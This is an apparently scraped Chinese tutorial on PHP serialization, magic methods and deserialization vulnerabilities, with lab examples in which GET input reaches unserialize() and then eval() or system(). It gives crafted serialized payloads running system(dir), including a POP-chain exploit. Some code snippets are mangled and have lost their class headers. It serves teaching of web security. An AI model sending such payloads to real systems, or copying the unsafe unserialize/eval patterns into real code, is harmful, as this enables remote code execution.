反序列化漏洞详解(一)

目录

一、php面向对象

二、类

2.1 类的定义

2.2 类的修饰符介绍

三、序列化

3.1 序列化的作用

3.2 序列化之后的表达方式/格式 

① 简单序列化

② 数组序列化

③ 对象序列化

④ 私有修饰符序列化

⑤ 保护修饰符序列化

⑥ 成员属性调用对象 序列化

四、反序列化

4.1 反序列化的特性

4.2 反序列化的作用

五、反序列化漏洞

5.1 反序列化漏洞概述

5.2 魔术方法

魔术方法简介

什么是魔术方法

魔术方法的作用

魔术方法相关机制

重要魔术方法

六、pop链前置知识


一、php面向对象

面向对象程序设计(Object Oriented Programming,简称OOP)是一种计算机编程架构。面向对象思想的核心:计算机模拟现实世界,解决现实世界的问题。注意:面向对象思想很重要,其次是编程语言的语法。相比于面向过程,两者思想方式不同,面向过程注重功能,怎么一步一步去实现,其程序基本单位大多是函数组成的;而面向对象注重对象,是谁去做这个事情,也就是行为以及状态,其程序基本单位是对象,对象是通过类的实例化产生的。


二、类

2.1 类的定义

类是定义了一件事物的抽象特点,将数据的形式以及这些数据上的操作封装在一起,对象是具有类类型的变量,是类的实例。类是对象的抽象,而对象是类的具体实例。类的想法,把类实例化(new),调用具体值后就变成了对象。

内部构成:成员变量(属性)+成员函数(方法)

成员变量:定义在类内部的变量,该变量对外是不可见的,但是可以通过成员函数访问,在类被实例化成为对象后,该变量即可成对象的属性。

成员函数:定义在类的内部,用于访问对象的数据,是实现某个独立的功能,类中一个行为

大白话解释一下(比较形象):

类和对象的关系:类好比公司让你填写个人简介的表格 有姓名 年龄 等 如果没有人填写 那么这个表格(类)将毫无用处 ,但是同学A 填写了这个表格,A填写完表格(对象)就是表格(类)的实例化 表格实例化成为了一个对象,A就可以拿着简介去公司面试了,否则表格空空 公司看都不看。举的例子中个人信息属于成员属性 成员函数好比表格上写跳舞,电脑的操作者属于面试官 对象属于填写完的表格信息 当面试官查看个人信息的时候 只能看到对象中的属性,这时候面试官看到对象里面写着个人爱好为跳舞,面试官对同学A(执行类中函数)你跳舞吧,边跳舞边说自己的个人信息 同学A就展示动作并说出自己的个人信息(这就是成员函数可以访问成员变量,并且个人信息别人是不知道的),(通过这也可以看出 对象里有属性和方法,属性是可以一看看出来的,但是方法需要面试官主动让你跳,你才能跳) 

继承:继承性是子类自动共享父类数据结构和方法的机制,是类之间的一种关系(也就是说 一个类的子类和类本身是没有什么区别的)


2.2 类的修饰符介绍

在类中直接声明的变量成为成员属性(也可以成为成员变量),可以在类中声明多个变量,即对象中可以有多个成员属性,每个变量都存储对象不同的属性信息

访问权限修饰符:对属性的定义 定义权限

如果定义了权限 就不可以在哪都能调用了

反序列化漏洞详解(一)_第1张图片

代码演示

name."
";//如果对象为A A跳舞的时候可以说出自己的个人信息 echo $var1."
"; } } $A= new hero();//将类实例化为对象 也就是表格让同学A填写 $A->name='chengyaojin'; //同学A进行填写 $A->sex='man'; print_r($cyj);//面试官查看个人信息 只能查看到属性 $A->dance('tiaotiaotiao'); //面试官知道表格里有个跳舞,面试官就让A跳舞 A就跳舞了 ?>
name; //可以
    echo $var1;       //可以
    }
}
class hero2 extends hero{ //hero2位hero的子类
    function test(){
    echo $this->name."
";//可以 echo $this->sex."
"; //不可以 echo $this->shengao."
";//可以 } } $cyj= new hero(); $cyj2=new hero2(); echo $cyj->name."
"; echo $cyj2->test(); ?>

三、序列化

3.1 序列化的作用

序列化是将对象的状态信息(属性)转换为可以存储或传输的形式的过程(方便存储和方便传输)

将对象或者数组转化为可存储/传输的字符串

举例:如果有session 会把传进来的参数键值对转换成字符串存储在session文件里面

在php中使用函数serialize()来将对象或者数组进行序列化 并返回一个包含字节流的字符串来表示


3.2 序列化之后的表达方式/格式 

① 简单序列化

反序列化漏洞详解(一)_第2张图片

② 数组序列化

benben
a:3:{i:0;s:6:"benben";i:1;s:8:"dazhuang";i:2;s:6:"laoliu";}

③ 对象序列化

pub;
    }
}
$a = new test();
echo serialize($a);
?>
O:4:"test":1:{s:3:"pub";s:6:"benben";}

④ 私有修饰符序列化

pub;
    }
}
$a = new test();
echo serialize($a);
?>
O:4:"test":1:{s:9:"testpub";s:6:"benben";}
//因为pub是私有属性 序列化会在前面加上类名 并且类名前后要有空字符 所以一共是9个字符

⑤ 保护修饰符序列化

pub;
    }
}
$a = new test();
echo serialize($a);
?>
O:4:"test":1:{s:6:"*pub";s:6:"benben";}
如果一个属性属于保护的修饰符 序列化的时候会在属性的前面加上* 并且*前后也会有空字符 一共是6个字符

⑥ 成员属性调用对象 序列化

pub;
    }
}
class test2{
    var $ben;
    function __construct(){
        $this->ben=new test();
    }
}
$a = new test2();
echo serialize($a);
?>
O:5:"test2":1:{s:3:"ben";O:4:"test":1:{s:3:"pub";s:6:"benben";}}

整体演示

data = $data;
        $this->pass = $pass;
    }
}
$number = 34;
$str = 'user';
$bool = true;
$null = NULL;
$arr = array('a' => 10, 'b' => 200);
$arr2 = array2('benben','dazhuang','tzy');
$test = new TEST('uu', true);
$test2 = new TEST('uu', true);
$test2->data = &$test2->data2;
echo serialize($number)."
"; echo serialize($str)."
"; echo serialize($bool)."
"; echo serialize($null)."
"; echo serialize($arr)."
"; echo serialize($test)."
"; echo serialize($test2)."
"; ?>
i:34;
s:4:"user";
b:1;
N;
a:2:{s:1:"a";i:10;s:1:"b";i:200;}
a:3:{i:0;s:6:"benben";i:1;s:8:"dazhuang";i:2;s:6:"laoliu";}
O:4:"TEST":3:{s:4:"data";s:2:"uu";s:5:"data2";s:9:"dazzhuang";s:10:"TESTpass";b:1;}
O:4:"TEST":3:{s:4:"data";s:9:"dazzhuang";s:5:"data2";R:2;s:10:"TESTpass";b:1;}

注意

切记整型666被序列化后是 i:666; 分号要记住

实例化为对象后只会携带成员属性做序列化的时候 只会序列化属性,成员方法调用才有

带权限输出的时候最好用urlcode进行编码 如果编码为url后就能看到test两边是空字符

s:10:"TESTpass" 明明8个字符 确显示10个字符就是因为空字符的原因

反序列化漏洞详解(一)_第3张图片


四、反序列化

4.1 反序列化的特性

1 反序列化之后的内容为一个对象

2 反序列化生成的对象里的值,由反序列化里的值提供;与原由类预定义的值无关

3 反序列化不触发类的成员方法;需要调用方法后才能触发(有些同学疑问 为什么反序列化后就能触发成员方法 是因为使用了 魔术方法


4.2 反序列化的作用

反序列化漏洞详解(一)_第4张图片

代码

a;
    }
}
$d = new test();//将类实例化为一个对象
$d = serialize($d);//进行序列化
echo $d."
"; //输出一下序列化后的值 echo urlencode($d)."
";//进行url编码 能看到空字符的%00 $a = urlencode($d);//将url编码后赋值给变量a $b = unserialize(urldecode($a));//对a进行反序列化 赋值给b var_dump($b);// ?>

反序列化后的输出和正常对象的输出是一样的,但是如果将序列化字符串里面的benben改成dazhuang 那么反序列化后的a 就变成了dazhuang 这里老师说了 通过序列化反序列化构造木马很难被发现

O:4:"test":3:{s:1:"a";s:6:"benben";s:4:"*b";i:666;s:7:"testc";b:0;}
O%3A4%3A%22test%22%3A3%3A%7Bs%3A1%3A%22a%22%3Bs%3A6%3A%22benben%22%3Bs%3A4%3A%22%00%2A%00b%22%3Bi%3A666%3Bs%3A7%3A%22%00test%00c%22%3Bb%3A0%3B%7D
object(test)#1 (3) { 
["a"]=> 
string(6) "benben" 
["b:protected"]=> 
int(666) 
["c:private"]=> 
bool(false) }

反序列化为一个对象的时候 这个对象是没有方法的 必须得主动调用方法 这个方法不是对象的 是类的 向类进行借用(类似于系统识别出来你这个对象就是属于类,就可以用类中的方法) 这个时候如果把类注释掉 那么这个方法将无法执行 (其实老师说的也不对 我感觉不能这么理解)因为这个方法里面有输出当前姓名 输出的是我们刚刚修改过的dazhuang。


五、反序列化漏洞

5.1 反序列化漏洞概述

反序列化成因反序列化过程中,userialize()接收的值(字符串)可控;通过更改这个值(字符串),得到所需要的代码,即生成的对象的属性值 ,通过调用方法,触发代码执行(到后面就能明白了为什么叫调用方法就能触发代码执行 因为在类的方法中调用了自己的属性,但是这个属性可以通过反序列化进行更改,也就是说光改变值也不行 需要让这个值被执行 这才能实现漏洞利用)

反序列化漏洞实例

靶场源码

a);
    }
}
$get = $_GET["benben"];//通过GET 传参 传的是序列化后的值
$b = unserialize($get);//把参数值反序列化赋值给一个对象b
$b->displayVar() ;
//本来对象b不属于test类的 但是通过反序列化后系统就会认为b是类test实例化的对象 从而可以执行类中的方法 因为传参的时候已经把类的属性修改为我们想要的代码了 这样就实现了反序列化的漏洞 
到这我也发现有个前提 我们必须要知道源码
?>

传参??benben=O:4:"test":1:{s:1:"a";s:12:"system(dir);";}

反序列化漏洞详解(一)_第5张图片


5.2 魔术方法

魔术方法简介

魔术方法在反序列化漏洞利用里面占用的比例还是很大的

什么是魔术方法

一个预定义好的,在特定情况下自动触发的行为方法

魔术方法的作用

反序列化漏洞的成因:反序列化过程中,unserialize()接收的值(字符串)可控;通过更改这个值(字符串),得到所需要的代码;通过调用的方法,触发代码执行

魔术方法在特定条件下自动调用相关方法,最终导致触发代码

魔术方法相关机制

反序列化漏洞详解(一)_第6张图片

重要魔术方法

反序列化漏洞详解(一)_第7张图片


_construct()

构造函数,在实例化一个对象的时候,首先回去自动执行的一个方法;

触发时机:实例化对象

功能:提前清理不必要内容

参数:非必要

username = $username;
        echo "触发了构造函数1次" ;
    }
}
//实例化user类的时候会触发类中__construct魔术方法
$test = new User("benben");
$ser = serialize($test);
unserialize($ser);
?>
触发了构造函数1次

__destruct()

 析构函数,在对象的所有引用被删除或者当对象被显式销毁是执行的魔术方法

" ;
    }
}
$test = new User("benben"); 实例化对象结束后 代码运行完全 触发一次 创建的时候肯定不会触发 但是对象用完了就要销毁 销毁的时候会触发 
$ser = serialize($test);//不会触发
unserialize($ser);//这里也出发了一次 反序列化和实例化为对象一个意思
?>
这么理解有点繁琐 大白话就是 当实例化一个对象的时候 类中的代码会执行一遍 执行一遍后就出发了魔术方法
反序列化一样的道理
触发了构造函数1次
触发了构造函数1次

析构函数例题

cmd);
    }
}
$ser = $_GET["benben"];
unserialize($ser);//解释一下 实例化为一个对象就好比要把类里面的代码过一遍,反序列化也一个意思 要把字符串过一遍,虽然这个值是序列化的字符串得出来的 但是系统也会认为这个对象和类有关属于类里面的 因为类里面有__destruct 从而触发
?>

构造序列化后的值

?benben=O:4:"User":1:{s:3:"cmd";s:12:"system(dir);";}

反序列化漏洞详解(一)_第8张图片


__sleep()

序列化serialize()函数会检查类中是否存在一个魔术方法__sleep()。如果存在,该方法会先被调用,然后才执行序列化操作,此功能可以用于清理对象,并返回一个对象中所有应被序列化的变量名称的数组。如果该方法未返回任何内容,则NULL被序列化,并产生一个E_NOTICE级别的错误。

触发时机:序列化serialize()之前

功能:对象被序列化之前触发,返回需要被序列化存储的成员属性,删除不必要的属性

参数:成员属性

返回值:需要被序列化存储的成员属性

username = $username;
        $this->nickname = $nickname;
        $this->password = $password;
    }
    public function __sleep() {
        return array('username', 'nickname');
    }
}
$user = new User('a', 'b', 'c');//触发__construct魔术方法 abc参数自动传入方法之中
echo serialize($user);//触发__sleep魔术方法 魔术方法只返回usernmae nickname 告诉serialize函数 不序列化password
?>
O:4:"User":2:{s:8:"username";s:1:"a";s:8:"nickname";s:1:"b";}

sleep例题

username = $username;
        $this->nickname = $nickname;
        $this->password = $password;
    }
    public function __sleep() {
        system($this->username);
    }
}
$cmd = $_GET['benben'];//通过GET传入参数
$user = new User($cmd, 'b', 'c');//这个GET获取的参数作为对象的username
echo serialize($user);//序列化会先执行construct魔术方法再执行__sleep魔术方法 从而利用了漏洞
?>

构造语句?benben=cmd

反序列化漏洞详解(一)_第9张图片

这么一看 其实这个靶场就构成木马 传入参数 就会执行参数的命令 学东西越多构造的木马越多


__wakeup()

unserlialize()会检查是否存在一个__ wakeup()方法。如果存在,则会先调用__wakeup()方法,预先准备对象需要的资源,预先准备对象资源,返回void,常用反序列化操作中重新建立数据库连接或执行其他初始化操作。

示例

password = $this->username;
    }
}
$user_ser = 'O:4:"User":2:{s:8:"username";s:1:"a";s:8:"nickname";s:1:"b";}';
var_dump(unserialize($user_ser));
?>
//在进行反序列化的时候 虽然数据是从序列化的字符串中得到的 但是系统识别出类中有一个__wakeup魔术方法 里面对password进行了赋值 从反序列化中得到了username和nickname 从魔术方法中获得了password
魔术方法给属性赋值了 也就是告诉对象你你还有一个值 别忘记了 但是吧这个order为什么会冒出来
object(User)#1 (4) { ["username"]=> string(1) "a" ["nickname"]=> string(1) "b" ["password:private"]=> string(1) "a" ["order:private"]=> NULL }

例题 漏洞利用

username);
    }
}
$user_ser = $_GET['benben'];
unserialize($user_ser);
?>

构造poc O:4:"User":1:{s:8:"username";s:3:"dir";}

输出


__tostring

表达方式错误 导致魔术方法触发

触发时机:把对象当成字符串调用

把类User实例化并赋值给$test 此时$test是一个对象 调用对象可以使用print_r或者 var_dump echo和print只能调用字符串的方法去调用对象

"; 
echo $test;//echo只能输出一个变量 但是test是对象 这个时候对象里面的__toString就会被触发
?>
User Object ( [benben] => this is test!! )
格式错误!

__invoke()

格式表达错误导致魔术方法触发

触发时机:包对象当成函数调用

错误调用相关魔术方法


__call()

触发时机:调用一个不存在的方法

参数:2个参数传参$arg1,$arg2

$arg1 调用的不存在的方法的名称

$arg2 调用的不存在的方法的参数

 返回值:调用的不存在的方法的名称和参数

当对象调用的方法不存在是 就会触发这个魔术方法

 callxxx('a');
?>
callxxx,a

__callStatic()

触发时机:静态调用或调用成员常量时的方法不存在

参数:2个参数传参$arg1,$arg2

返回值:调用的不存在的方法的名称和参数

callxxx,a

__get()

触发时机:调用的成员属性不存在

参数:传参$arg1

返回值:不存在的成员属性名称

触发get(0)把不存在的属性名称var2赋值给$arg1

var2;//调用一个不存在的属性 自动执行__get()魔术方法 将不存在属性名赋值给arg1 并输出出来
?>
var2

__set()

触发时机:给不存在的成员属性赋值

参数:传参$arg1,$arg2

返回值:不存在的成员属性的名称和赋的值

先触发grt()再触发set()

$arg1,不存在成员属性的名称

$arg2,不存在的成员属性var2赋的值

var2=1;//为一个不存在的属性赋值 会触发__set魔术方法 将不存在的属性名赋值给arg1 赋的值赋值给arg2 并输出
?>
var2,1

__isset()

触发时机:对不可访问属性/或不存在属性使用isset()或empty()时,__isset()会被调用

参数:传参$arg1

返回值:不存在的成员属性的名称 

var);//如果不存在或者无权限的属性名被isset函数调用会触发__isset魔术方法 将属性名赋值给arg1
?>
var

unset()同理

var);//同理
?>
var

__clone()

触发时机:当使用clone关键字拷贝完成一个对象后,新对象会自动调用一个魔术方法


六、pop链前置知识

1 控制成员属性所对应的对象是哪一个

2 遇到有pop链的题目 经常使用的方法是反推法 不能正着推 题目量如果少的话 还可以 一但量大就不好弄了

练习 代码讲解

test = new normal();
    }
    public function __destruct(){
        $this->test->action();
    }
}
class normal {
    public function action(){
        echo "please attack me";
    }
}
class evil {
    var $test2;
    public function action(){
        eval($this->test2);
    }
}
unserialize($_GET['test']);
?>

反推法的开始就是先找到代码里面的利用点 eval就是整个代码能利用的点

往前推 

1,eval的值通过test2传过来 但是eval所在的函数不是魔术方法这个时候就要往前找看谁调用了evil类中的action函数

2 index类中的 __destruct魔术方法调用了normal类对象test的action函数 

这个时候问题就是如何让test调用evil中的action()方法 

因为反序列化得出的对象的值和类无关 可以自定义

我们只需定义test为对象 这个对象的来源是evil类

解决思路:给test赋值为对象  test=new evil()

有两种构造方法 一种手写poc 一种利用源代码修改生成序列化的字符串

我是真牛呀 一次直接手写成功

?test=O:5:"index":1:{s:11:"%00index%00test";O:4:"evil":1:{s:5:"test2";s:12:"system(dir);";}}

但是吧手写短一点的行 最好还是要利用源代码构造poc 

test = new evil();
    }

}
class evil {
    var $test2="system(dir);";
    public function action(){
        eval($this->test2);
    }
}
$a=new index();
echo serialize($a);
?>

这是分析代码后确定如何才能执行eval()

反序列化过程: 构造完的poc 反序列化给一个对象A 告诉这个对象你是index类的你里面有个test的属性 并且这个属性属于evil类的 evil(test对象)里的值test2为system(dir) 因为是反序列化在反序列化结束的时候会自动执行index类(对象A)中的__destruct()魔术方法 从而执行action

得出反序列化过程开始使用序列化构造poc

构造poc序列化过程:index类中有test 和魔术方法__construct 当执行序列化后会自动触发__construct 里面的内容是将test作为eval的对象 对象的属性里面有test2属性 属性的值为system(dir)

将poc放到源代码中分析过程:告诉系统test属于evil的对象并且test属性里的test2属性的值为system(dir) 执行完反序列化自动执行 魔术方法destruct 从而执行远程命令

还有一种构造方法

test2="system(dir);";//为这个对象的竖向test2进行赋值
$b=new index();//实例化index的对象
$b->test=$a;//让index的对象的属性等于evil的对象,这道题因为test为 private所以不能再类外进行构造 这只是一个举例
echo serialize($b); //实例化这个$b
?>

你可能感兴趣的:(反序列化,反序列化,web安全,php,安全,网络安全)